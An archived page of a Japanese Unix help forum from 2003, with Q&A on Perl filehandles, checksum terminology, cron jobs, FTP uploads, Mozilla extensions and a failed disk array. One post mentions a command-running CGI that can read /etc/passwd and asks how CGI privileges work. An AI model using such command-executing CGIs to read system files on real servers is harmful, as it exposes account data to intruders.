  binmode STDOUT;
とするのですが、こうすると
  while (<>) {
      ...
  }
で読み込もうとするときに、
  C:\> perl スクリプト名 < ファイル
だとうまくいくのですが、
  C:\> perl スクリプト名 ファイル
だとうまくいきません。

つまり、<> は引数でファイル名を渡されると、
STDIN 以外のファイルハンドルからファイルを読んでいるようなのですが、
このファイルハンドル名は分かるでしょうか?

ActivePerl を Windows 2000 以降で使うと、
スクリプト名に .pl という拡張子を付けると
  C:\> スクリプト名
でいきなり実行できて便利なのですが、
このスクリプトの中で <> を使うと、
  C:\> スクリプト名 ファイル名
だとうまくいくのですが、
  C:\> スクリプト名 < ファイル名
だと '<' を第1の引数と思い込んでうまくありません。

動かそうとしてるのはしょうもないファイルダンプツールです。

# fdump.pl

#$file = shift;

#open IN, $file;
#binmode IN;
binmode STDIN;
binmode STDOUT;

#$/ = "\r\n";

while (<>) { # 1行ずつ読み込み
    $line1 = $line2 = $line3 = ""; # 作業域を初期化
    @char = split //; # 1文字ずつ分解
    foreach $char (@char) { # 1文字ずつ処理
        $line1 .= $char; # 文字をそのまま $line1 にくっつける
        $hex = unpack "H2", $char; # $charを16進数値に変換して$hexに格納
        ($hex1, $hex2) = split //, $hex; # $hexを1文字ずつ分解して$hex1、$hex2に格納
        $line2 .= $hex1; # 16進数の前半を$line2にくっつける
        $line3 .= $hex2; # 16進数の後半を$line3にくっつける
    }
    print $line1; # $line1を出力する(改行はもともとついている)
    print "$line2\r\n"; # $line2+改行を出力する
    print "$line3\r\n"; # $line2+改行を出力する
}

No. 3170 # 68user 2003/03/27 (木) 21:09:17
>>3164 has
> straceしてみると、どうもpoll()で受信を検出できていないようです。
ほほう、glibc の問題かカーネルの問題かはわかりませんが、今どきの
Linux でそんな問題にぶちあたるとは運がいいですね。

ここは一気に UDP・IP スタックを解析して、Linus にパッチを送付する
まで頑張ってください。しかし粘りますねぇ (笑)

# NIC を変えたらすんなり直ったりして。


>>3169 ふくし
% grep '<>' /usr/src/contrib/perl5/*
/usr/src/contrib/perl5/toke.c: /* turn <> into <ARGV> */

となったので、それを手がかりに調べてみると、perl(1) に
以下のように書いてありました。

      次のループは、

                while (<>) {
                          ... # 各行に対するコード
                }

      以下の疑似コードと同等になります。

                unshift(@ARGV, '-') if $#ARGV < $[;
                while ($ARGV = shift) {
                          open(ARGV, $ARGV);
                          while (<ARGV>) {
                                    ... # 各行に対するコード
                          }
                }

本当に binmode ARGV でうまくいくのかどうかは試していません。

他の調べ方としては print %main::; でシンボルテーブルを表示し、
片っ端から試してみる、とかですかね。

No. 3171 # ふくし 2003/03/27 (木) 21:53:55
<<3170
さん、

ありがとうございます。
結果として、

while (<ARGV>) {
  ...
}

でも

while (<>) {
  ...
}

同様に動くので、<>のファイルハンドルがARGVであることに
間違いはないようですが、

binmode ARGV;

は効かないようです!? へんだなぁ、、。

No. 3172 # へにか 2003/03/27 (木) 22:38:42
>>3166 68user
なるほど、狭義と広義の差が有るんですね。僕にとっては、
新たな知識です。どうも教えていただいて、ありがとうござ
います。

20年程前のパソコン雑誌に載っていた機械語プログラムには、
横一列の合計が書いてあったのを懐かしんで、こんな質問を
してしまいました。確か最初は何も無く、次に横一列、次に
縦一列と横一列、その次にそれ+CRC演算が出てきたという
記憶があります。確か一列はどちらも1octet x 16個で、CRC
は256octet毎に1octetでした。

僕も、その後GoogleでCRCもチェックサムと呼ぶようになっ
た経緯を調べたのですが、経緯自体は、なかなか見つからな
いですね。
もし、どなたか見つけたら、教えていただければ嬉しいです。

蛇足ですが、単純に足すだけだと間違いが見つかりにくいので、
> 加算のたびに右ローテート
のような工夫がされているんでしょうね(推測です)。

No. 3173 # 68user 2003/04/03 (木) 20:37:47
>>3172 へにか
> なるほど、狭義と広義の差が有るんですね。僕にとっては、
> 新たな知識です。
わたしが世の中の「チェックサム」という用語の使われ方を見る限り、
広義のチェックサムと狭義のチェックサムがあるのでは、と思った
だけですので、誤解のなきよう。

例えば IP・UDP・TCP のチェックサムは「1の補数和の 1の補数」で
狭義のチェックサムだと思いますが、一方 java.utik.zip.CRC32
    http://java.sun.com/j2se/1.3/ja/docs/ja/api/java/util/zip/CRC32.html
は Checksum インタフェースを implements していますが、この「Checksum」
は広義のチェックサムかなぁと。…ってなんか苦しい例だなぁ。

      http://www.onelook.com/?w=checksum&ls=a#all_com
を見ても、わたしの思う「狭義のチェックサム」しか載ってないよう
ですし、やっぱりわたしの認識が変なのですかねぇ。

ちなみに
      http://www.jisc.go.jp/index.html
で JIS を調べてみましたが、「チェックサム」の定義は見付けられませんでした。

>>has
あの後、寝てしまいました…。

No. 3174 # has 2003/04/04 (金) 02:27:37
時間のあるときに、遊びつつ飲みつつちょっとずつですが、
linux kernel-2.4.18-24.7.xにてpoll()を追っかけてます。
相当飛ばし読みでやっとこ__pollwait()。
けど先が見えません…。

@68user
あいかわらずですな。またの機会に。

No. 3175 # へにか [URL] 2003/04/04 (金) 07:43:58
>>3173 68user
> 誤解のなきよう。
了解しました。

色々調べていただいて、ありがとうございます。
http://www.onelook.com/?w=checksum&ls=a#all_com
のリンク先、これから追いかけてみます。

そこで、早速二箇所追いかけたところ、面白い記述を見つけました。

http://www.wikipedia.org/wiki/Checksum
> Note: The term 'checksum' is also often used incorrectly to mean a CRC.

http://www.wikipedia.org/wiki/CRC
>CRC's are often referred to as "checksums," but such
> designations are not accurate since, technically,
> a checksum is calculated through addition, not division.

incorrectlyを始め、思わずbabylonで単語の意味を調べてしまいました。;)
とにかく歴史上などの何らかの事由で捻じ曲がったのではないかと推測
していますが、なんとかその確証が得られるよう、調べてみます。
運良く見つけたら、連絡します。見つけられなかったら、次回の(他の
ネタを含む)書き込み時に、その旨お伝えいたします。

#教えて頂いたリンク先、情報の宝庫ですね。ありがとうございます。

No. 3176 # へにか [URL] 2003/04/04 (金) 07:55:14
#連続ですみません。

>>3173 68user
>やっぱりわたしの認識が変なのですかねぇ。
少なくとも、cksumが存在する以上、(繰り返しになりますが)何らかの
事由があったのでしょうから、変と思わなくても良いのではないかと思
います。といいますか、その事由に依存すると思いますので、変かどう
かという問題ではないかもしれません。

#尊敬する68userさんでも困難な問題なので、わたくしごときが調べ
#きれるかどうか自信ないですが、挑戦してみます。

No. 3177 # ある厨 2003/04/05 (土) 00:56:50
ども。以前erro.cgiの件でお世話になった者ですが、
どうしても解決できない事が有り、質問させてください。

Web上にてユーザーがアカウントを自動登録できるようにしたのですが
登録したユーザーのquotaをcronで設定したく下記のようにしてみました。
つか見つけてきました。
*/5 * * * * edquota -p foo `awk -F":" '$3 > 1000 {print $1}' /etc/passwd`

idが1000以上のユーザーに予め設けたユーザーfooのquotaを例えばsoft 20000
と同じに設定すると言うものですが、これをcronで走らせても
なぜか登録ユーザーのquotaには反映されません。
しかし、直接#rootで上記コマンドを打つと反映されます。

で、コマンドが長すぎるのかとも思い、
下記のように二つに分けてcronで走らせてもだめでした。
勿論、直接コマンドではOKです。

*/5 * * * * awk -F":" '$3 > 1000 {print $1}' /etc/passwd > member_id.txt
*/6 * * * * edquota -p foo `cat /root/member_id.txt`

二つに分けた場合ではmember_id.txtは作成されているから
edquota -p info `cat /root/member_id.txt`がcronで作動してない
ということになりますが、理由がわかりません。

長文で申し訳ありませんがご教授お願いします。

No. 3178 # ある厨 2003/04/05 (土) 01:11:02
あ!
edquota -p info `cat /root/member_id.txt`がcronで作動してないは
edquota -p foo `cat /root/member_id.txt`がcronで作動してないです。

No. 3179 # ある厨 2003/04/05 (土) 02:11:59
すみません。自己解決しました。
cronからメールが来てました。
/bin/sh: edquota: command not found

/usr/sbin/edquotanにしたら解決しました。
板汚してすみませんでした。
で、ついでと言っては何ですが、、、

suEXECを使ったCGIはその所有者の権限で動くわけですが、
その所有者には/bin/falseとしてシェルは利用出来ないようにしています。
でも、コマンドが使える(例えばtelnet.cgi)CGIではcat /etc/passwd
等と出来てしまいます。
これは誰の権限で動いているのでしょうか。
OSはLinuxで鯖はApacheです。

No. 3180 # 68user 2003/04/05 (土) 16:42:15
>>3179 ある厨
> その所有者には/bin/falseとしてシェルは利用出来ないようにしています。
/etc/passwd に書くログインシェルはあくまで
    「ログインするときに起動するシェル」
です。

ログインとは telnet や rlogin や ssh 経由でログインすることを指します。
よって、cron から起動したり、setuid(2) して exec(3) する場合は関係
ありません。

web サーバは nobody や www 権限で動かされることが多いでしょうが、
/etc/passwd で
      nobody:*:65534:65534:Unprivileged user:/nonexistent:/sbin/nologin
      www:*:80:80:World Wide Web Owner:/nonexistent:/sbin/nologin
などと /sbin/nologin となっているのは、単にその権限でログインさせない
という設定になっているだけで、その権限でのプロセスの実行を制限している
わけではありません。


>>3176 へにか
(狭義の) checksum や parity や CRC や hash はデータ誤りを検出するための
一方式だと思うのですが、「データ誤りを検出するためのもの」一般は英語で
何て言うんでしょうね?

      http://www.wikipedia.org/wiki/Checksum
にあるように「integrity-protection measure」としか言いようがないなら、
「データ誤りを検出するためのもの」という意味で「checksum」という用語を
使ってもいいんじゃないかなぁ、となんとなく思っております。

No. 3181 # ある厨 2003/04/05 (土) 20:10:43
>>3180 68user
なるほど、ただ単にログインできないと言うことであって
実行制限ではないと言うことですか。
勉強になりました。

#やぱり独学では限度があるにゃぁ。

No. 3182 # へにか 2003/04/05 (土) 21:31:38
>>3180 68user
>「データ誤りを検出するためのもの」一般は英語で何て言うんでしょうね?
Error Detecting Code (誤り検出符合)です。

因みに、CRCは、なんと、1bit-errorまでは訂正できてしまいます。
即ち、Error Correcting Code (誤り訂正符合)でもあるところが、parityやchecksumとは違うところで、面白いです。
#訂正方法は遠い昔に忘れました・・・
#hashは方式を知らないので、訂正できるのかどうか分からないです。

#今日本屋で調べても、歴史的なことは見つかりませんでした。A^^;

http://www.wikipedia.org/ は現在crashしているみたいです。

No. 3183 # NPK [E-mail] 2003/04/10 (木) 22:15:27
始めまして。

なんとなくXULの練習でUnixの部屋のMozilla用検索ツールバーを作ってみました
迷惑になるかもしれないので(それと家のサーバーが落ちてるからというのもある)
許可があるまで配布はしてないのですが配布してもよろしいでしょうか?

# 家の鯖と外の鯖両方落ちてる・・・
# なぜ家に居ないときに落ちる・・・

赤色の文字は 「Windows 機種依存文字」か、いわゆる「半角カナ」です。 この掲示板では自動変換されますが、今後は使用しないで下さい

No. 3184 # 68user 2003/04/12 (土) 14:30:13
>>3183 NPK
> 配布してもよろしいでしょうか?
はい、構いません。ぜひお願いします。

No. 3185 # ふくし 2003/04/12 (土) 15:25:29
ASCIIでプログラミングして
ISO-2022-JPを出力するプログラムを書いていますが
(なんのために

#! /usr/local/bin/perl -w
print "\e\$B\$3\$s\$K\$A\$O\n";

だとうまくいくけど、

#! /usr/local/bin/perl -w
print "\e\Q$B$3$s$K$A$O\E\n";

だとダメですね。
\Q〜\Eより先に変数展開が行われるみたいです。
ヘンな感じ、、。

No. 3186 # NPK [URL] [E-mail] 2003/04/12 (土) 16:07:52
>>3184 68user

まだDNSが無いのがちょっとどうかと思いますが(^^;
とりあえず置いてみました。

# 古いdyndnsのパスワード忘れたものでそのうちとろうと思ってとりあえずしばらく放置です(笑)

No. 3187 # Phantom 2003/04/13 (日) 23:38:33
はじめまして。unix初心者です。

定期的にhtmlをftpでファイルをアップロードしたいと思いました。それで、cronで実現しようと考えcrontabで編集したのですが上手く動いてくれません。コマンドが間違っているかと思い、console上で実際にやってみたところ普通に動きました。どうしてcronでは上手く動いてくれないのでしょうか?

以下の様にやっています。
10 0 * * * ftp -n < /home/hogehoge/ftp.sh

ftp.shの中身
open ftp-server
user hogehoge passwd
ascii
prompt
cd data/
put index.html
quit

No. 3188 # ゆきち(もじら組) [URL] 2003/04/14 (月) 14:02:24
もじら組のゆきちといいます。いつも、こちらの記事は参考にさせていただいています。

>NPKさん
下記で紹介されているツールバーですが、「新もじら瓦版」というニュースサイト(?)があるのですが、そこでツールバーの報道を行なっても良いでしょうか。
ぜひとも、紹介させていただきたいのですが。

No. 3189 # ゆきち(もじら組) [URL] 2003/04/14 (月) 14:07:18
追記
今、InfoseekとX68Kの両方を利用してみたのですが、「新しいタブで開く」(Infoseek)「新しいWindow」(X68K)で開くを利用すると、最大化(全画面表示)になって、かつ、右にスクロールバーが出ない状態です。最大化を解くと、小さくなりますが、スクロールバーが出ませんね。1.4αです。

こんなところですいませんが、とりあえず、利用報告です。

No. 3190 # NPK [URL] 2003/04/14 (月) 19:27:54
ここで会話することじゃないと思いますが(^^;
(68userさんすいません

>>3188 ゆきち(もじら組)
紹介に関しては問題ないです。
鯖が貧弱なので落ちたらごめんなさい(笑)

開発には1.4α使ってるんですが家ではそんなバグは確認されてませんね・・・
もしかしたらほかのXULアプリと衝突を起こしてるのかもしれません。
そのうち調べてみます。

赤色の文字は 「Windows 機種依存文字」か、いわゆる「半角カナ」です。 この掲示板では自動変換されますが、今後は使用しないで下さい

No. 3191 # ゆきち(もじら組) 2003/04/15 (火) 00:42:11
ありがとうございます。今、時間がとれないですが、紹介してみようと思います。ありがとうございました。

#管理人さん、すいませんでした。

No. 3192 # 68user 2003/04/15 (火) 06:48:00
>>3185 ふくし
> \Q〜\Eより先に変数展開が行われるみたいです。
プログラミング Perl 第 3版では、その辺の評価順序は明示
されていないみたいですね。

>>3187 Phantom
普通、/var/mail/$USER などに実行結果がメールで届くはずです。
そこに何か情報があるかもしれません。

>>3189 ゆきち(もじら組)
FreeBSD 4.7-RELEASE + mozilla-1.4b (2003041308) ですが、再現
しませんでした。ただ、「新しいタブで開く」としても、(タブでなく)
新しいウィンドウが開いてしまいます。

infoseek の方ですが、アプリとしての感想を述べさせていただくと、
    - うちの常用のサイズではウィンドウの幅が足らず、「新しいタブで開く」が
        切れる (ウィンドウサイズを広げれば表示される)
      「Search by Dictionary」と単語入力フォームが広すぎるのかも。
    -「Search」で検索じゃなくて、「国語」「和英」「英和」それぞれを押せば
        検索するといいかも (そしたら「Search」は不要)
    - 「和英」と「英和」はひとつにまとめて、フォームの内容が ASCII なら
        英和、日本語なら和英、だといいかも。
    - てなところを設定で変更できたりするとうれしいかも。
    - 「英→日」はとても便利ですねぇ。
    - 入力した単語の履歴が残って、さらに補完してくれたりすると素晴らしい。
てな感じです。

勉強用にとりあえず作ってみただけなのか、あるいは継続的に
開発されるのかわかりませんが、もし後者であればご検討ください。

>>3190 NPK
> ここで会話することじゃないと思いますが(^^;
全く問題ないです。

>>has
しばし待たれよ。

No. 3193 # ふくし 2003/04/15 (火) 17:14:41
ずっと前に、

while (<>) {
  ...
}

のファイルハンドル ARGV に binmode が適用されないので、

while (<>) {
  ...
}

における ActivePerl の \r\n => \n 置換を抑制できない、
という話をしましたが、5.6 以降では binmode のかわりに

use open IN=>"raw:";

だと動作するようです。PerlIOってやつですね。

No. 3194 # ふくし 2003/04/15 (火) 17:16:48
>>3193 ふくし

自己レスれす。

use open IN=>":raw";

の間違いでした。

No. 3195 # /tk 2003/04/17 (木) 11:05:15
>>3185 ふくし

perldoc perlre
> You cannot include a literal "$" or "@" within a "\Q" sequence. An
> unescaped "$" or "@" interpolates the corresponding variable, while
> escaping will cause the literal string "\$" to be matched. You'll need
> to write something like "m/\Quser\E\@\Qhost/".

>>3192 68user
> その辺の評価順序
「詳説 正規表現」のP245とか…

No. 3196 # 2003/04/17 (木) 15:44:34
改行コードについて質問いたします。
UNIX(HP-UX)の改行コードはLFだと思うのですが、
このコードを削除して複数行のテキストファイルを
一行にすることは可能でしょうか?

No. 3197 # 68user 2003/04/17 (木) 23:25:38
>>3195 /tk
> 「詳説 正規表現」のP245とか…
書いてありました。正規表現エンジンを作ってみる本だと思って
買ってみたらそうじゃなかったので、ほとんど読んでなかったり。

>>3196
tr -d '\n' < file
perl -pe 's/\n//' < file
などなど。

No. 3198 # Phantom 2003/04/18 (金) 01:46:00
>>3192 68user
> 普通、/var/mail/$USER などに実行結果がメールで届くはずです。
という事でしたが、何故か何も届いていませんでした。

それで、もう1度すべて見直して、ftp.shの中身を以下のようにしたら
出来ました。

ftp.sh
open ftp-server
user hoge passwd
prompt
cd data/
ascii
del index.html
put /home/hoge/public_html/index.html ./index.html
quit

なんか、putがうまく行ってなかったみたいです。それで、フルパスで
書いたら上手く行くようになりました。ここまで、書かなければならない
とは、、、

ご迷惑おかけしました。

No. 3199 # NPK [URL] [E-mail] 2003/04/18 (金) 18:21:10
>>3192 68user

実験的な要素は強いですけど基本的に自分が使うから作ってるのでよさげなら取り込みます(笑)
ってな訳で微妙に弄ってみました。
セレクトボックス以外は大体取り込んだと思います。

No. 3200 # oMH [E-mail] 2003/04/19 (土) 00:24:43
エンベロープを変えてメールを送る方法を超初心者向けにわかりやすく説明していただけませんか?

No. 3201 # 68user 2003/04/21 (月) 01:53:11
>>3199 NPK
FreeBSD 4.7-RELEASE + 昨日あたりの nightly で最新版を
インストールして mozilla を再起動したところ、mozilla が
起動しなくなりました (何かを poll(2) してずっと待っている)。

~/.mozilla/ をリネームしてみたところ起動したのですが、設定が
全部元に戻るのは避けたいので、infoseek transfer だけを削除
する方法を教えてください。

>>3200 oMH
どういう環境で実現したいのか わからないので無理っす。

No. 3202 # NPK 2003/04/21 (月) 11:05:30
>>3201 68user

一応そういう事は予想していてあとゆあおうんりすくと書いたんですがね(^^;

chromeの中にあるchrome.rdfからinfoseek_transferに関する項目を削除
chromeの中にあるoverlayinfoディレクトリ内navigatorディレクトリの
contentの中にあるoverlays.rdfからinfoseek_transferに関する項目を削除

これでアンインストールできます。

No. 3203 # 68user 2003/04/23 (水) 00:23:40
>>3202 NPK
> 一応そういう事は予想していてあとゆあおうんりすくと書いたんですがね(^^;
別にクレームをつけているわけではないです。単なる報告と質問の
つもりでした。

で、アンインストールして、再度インストールしたところ正常に動いている
ようです。ありがとうございました。

てゆーか、
    http://ryuzi.dyndns.org/mozx/j_googlebar/index.html
にちゃんと書いてありましたね。失礼しました。

No. 3204 # NPK 2003/04/23 (水) 08:04:22
いや、そういうリスクがあるので自分で治せない場合はやばいっすよ〜みたいなニュアンスで書いたんですが(^^;

別にクレームとしては受け取ってないですよ。
報告はあったほうがありがたいですし。

1.4のナイトリーは大規模な変更が行われてるようですのでたぶんこれからもこういうことがあると思います。
ですので、むしろ報告していただけるほうがありがたいです。

No. 3205 # teru [E-mail] 2003/04/23 (水) 14:55:39
別々のディレクトリのファイルどうしの日付を見てファイル更新が新しければ、コピーするというスクリプトを作りたいんですけど、そのようなコマンドはありますか?

No. 3206 # awa 2003/04/23 (水) 17:21:02
もしご存知でしたら教えてください。
例)
temp/aaa/bbb/ccc
cccディレクトリの中に 
111
222
333
と3つのファイルがあるとします。
  
その時に
cccディレクトリに行き
「ls」コマンドを打つと
111
222
333
と表示されると思いますが
この表示を以下のようにフルパスにしたい。
temp/aaa/bbb/ccc/111
temp/aaa/bbb/ccc/222
temp/aaa/bbb/ccc/333
というのが質問です。
  
もしご存知でしたらご教授をお願いします。
  
以上
よろしくお願いします。
  

No. 3207 # has 2003/04/23 (水) 23:52:57
>>3205 teru
rsyncというコマンドがあるそうです。
http://www.turbolinux.co.jp/knowledge/public/178.html

>>3206 awa
ls | perl -nle "print \"$PWD/\$_\";"
一応動きます。
#1文字目が'/'なのをフルパスというのでは?

No. 3208 # Phantom 2003/04/24 (木) 02:23:40
分かる人にとっては、下らない質問かもしれませんがお分かりでしたら
お願いします。あと、私はperlは全然分かりません。。。

perlで実行した内容結果がindex.htmlというHTMLファイルで出力されるの
ですが、それをcronで決まった時間で実行しています。そして、その出力さ
れたファイルをftpでアップしたいと考えています。しかし、以下のように
cronを書くと駄目でした。

20,50 0-23/2 * * * perl hoge.pl | ftp -n < ftp.up

どう駄目かというと、説明する必要ないかもしれないのですが、ftp上に置
かれるindex.htmlファイルが最新のものではなく、その前の時間のファイル
になってしまうのです。(0時50分に更新すると、ファイルの時間は0時20分
のものになってしまうということです。)原因は明確的で、perlが実行され
出力される前のファイルをftpでアップしている事、にあるのは分かってい
ます。ただ、その解決方法がわかりません。
perlのファイルを書き換えないと駄目なんでしょうか…。それとも、別の
方法があるのでしょうか?

No. 3209 # 68user 2003/04/24 (木) 09:10:30
>>3204 NPK
> そういうリスクがあるので自分で治せない場合はやばいっすよ〜
ごもっともです。精進します。

>>3205 teru
もしシェルスクリプトでやるのであれば test(1) を使って
    if [ "$fromdir/file1" -nt "$todir/file1" ]; then
          cp -f $fromdir/file1 $todir/file1
    fi
など。

>>3208 Phantom
> perl hoge.pl | ftp -n < ftp.up
perl と ftp を同時に実行しているので、perl が書き換える
前に ftp で put しているのでしょう。

そもそも
      % command1 | command2 < file
というのはおかしいです。command2 の標準入力に渡したいのは、
command1 の出力なのか、あるいは file なのかが不明確だから
です。sh 系だとなぜかエラーにならないようですが、csh 系だと
      Ambiguous input redirect.
と怒られます。

というわけで、
      perl hoge.pl ; ftp -n < ftp.up
でしょう。

もし hoge.pl が
      - 正常終了時には 0 を返す (exit(0))
      - 異常終了時には 1 以上を返す
という UNIX コマンドの一般的なルールに従っていて、hoge.pl が
異常終了した場合には ftp を実行したくないのであれば、
      perl hoge.pl && ftp -n < ftp.up
の方をお勧めします。

No. 3210 # Phantom 2003/04/24 (木) 18:09:57
>>3209 68user
> perl hoge.pl && ftp -n < ftp.up
これで、思い通りに出来ました!有難う御座いました。
凄く単純なことにミスをしていたんですね。お恥ずかしい。
sh 系でもエラーはいて欲しいと思いました。

No. 3211 # 11SE 2003/04/29 (火) 23:14:01
はじめまして。

マシン:HITACHI3050
OS:HI-UX
のマシンのIPアドレスを変更したいのですが、
Hostsファイルの変更だけで大丈夫でしょうか?
HP-UXのように、samコマンドみたいなものがあるのでしょうか?

よろしくお願いします。

No. 3212 # 68user 2003/04/30 (水) 00:06:23
>>3211 11SE
HI-UX も HP-UX もさわったことはないのでわかりませんが、一般的な
UNIX なら /etc/hosts は、ただの IP アドレスとホスト名のマッピングを
決めるファイルです。

/etc/hosts はマシン (正確にはインタフェース) の IP アドレスを決める
ファイルではないので、何かしらのファイルを変更しないといけないでしょう。

管理コマンドを探すか、
        # find /etc -type f | xargs fgrep 10.0.0.1
などでどのファイルに何が書かれているのか探しましょう。

No. 3213 # 伊藤@管理初心者 2003/05/04 (日) 00:31:48
はじめまして最近Laboの管理者にはじめてなった伊藤と申すものです。
まず、状況から説明したいと思います。先日Laboの電気工事のため停電があり、WS(ワークステーション)を停めなくてはいけませんでした。
本日復旧作業をしていたのですが、ディスクアレイに繋がっているWSがうまく起動しません。また、ディスクアレイの表示画面にもROM ERROR と出ています。これは何が悪いのでしょうか?GW中なので、業者にも連絡がつかず八方塞がりな状態です。よろしくお願いします。

以下に詳しいlogの内容を記載しておきます。

(WS<COMPAQ XP1000>のlog)

Checking local filesystems
/sbin/ufs_fsck -p
Can't open /dev/rrz8g : No such device or address
/dev/rrz8g : CAN'T CHECK FILE SYSTEM
Can't open /dev/rrz8h : No such device or address
/dev/rrz8h : CAN'T CHECK FILE SYSTEM

THE FOLLOWING FILE SYSTEMS HAD AN UNEXPECTED INCONSYSTENCY
  /dev/rrz8g(/raid) /dev/rrz8h(raid2)

Unknown error in reboot


(ディスクアレイ<proware 型番不明>の表示パネルに出てくるMessage)

ROM ERROR
19200,8,1,N

No. 3214 # 68user 2003/05/04 (日) 13:15:32
>>3213 伊藤@管理初心者
ディスクアレイの表示画面に ROM ERROR と出ているなら、ディスク
アレイの故障した可能性が限りなく高いと。そっちは業者にまかせる
として、あとはそのディスクアレイなしで OS がブートするかどうか
です (ディスクアレイ中のデータを読み出すことが目的なら、あきら
めて業者を待ちましょう)。

シングルユーザモードで起動して、/etc/vfstab あたりを修正して、
/dev/rrz8* をマウントしないようにするのが UNIX における一般的な
対処です。

ただ、おそらく OS は Tru64 あたりではないかと推測しますが、
さわったことがないので具体的な対処方法はわかりません。

No. 3215 # 伊藤@管理初心者 2003/05/04 (日) 18:48:20
>>3214 68user
お返事ありがとうございます。
やはり、ディスクアレイは故障の可能性が高いと…。
68userさんのおっしゃる通り、ディスクアレイ中のデータを読み出すことが目的だったんですが・・・、わかりました。
いろいろと御助言ありがとうございました。

No. 3216 # 68user 2003/05/05 (月) 21:38:54
memo
http://www.coins.tsukuba.ac.jp/~yas/classes/dsys-2002/2003-03-04/index.html
http://www-6.ibm.com/jp/developerworks/security/011005/j_s-stun.html

No. 3217 # 匿名 [URL] 2003/05/07 (水) 01:21:53
「ソースを表示してみよう」の結果が
次のように表示されてしまいます。

1: : Content-type: text/html(LF)
2: : (LF)
3: : <html><body bgcolor=white>(LF)
4: : </body></html>(LF)

No. 3218 # 68user 2003/05/07 (水) 09:17:19
>>3217 匿名
ご報告ありがとうございます。ウチに帰ったら対処します。

No. 3219 # DLT8000user 2003/05/07 (水) 19:05:38
テープメディア(DLTtapeIV)についての質問です。

DLTtapeIVに退避させた、圧縮後のデータの容量を調べる方法がわからず大変困っています。
テープ内の圧縮後データ容量を確認するコマンド、方法があれば教えて下さい。
なにとぞ、なにとぞ宜しくお願い致します。

赤色の文字は 「Windows 機種依存文字」か、いわゆる「半角カナ」です。 この掲示板では自動変換されますが、今後は使用しないで下さい

No. 3220 # 匿名 [E-mail] 2003/05/08 (木) 15:20:52
クライアントよりフォルダを指定して、その配下全てのファイルをサーバにアップロードすることはservletで可能でしょうか?
また、そのフォルダに指定したアクセス権限を付与することは可能でしょうか?

Prev< No. 2745〜3220> Next  [最新発言に戻る] [過去ログ一覧]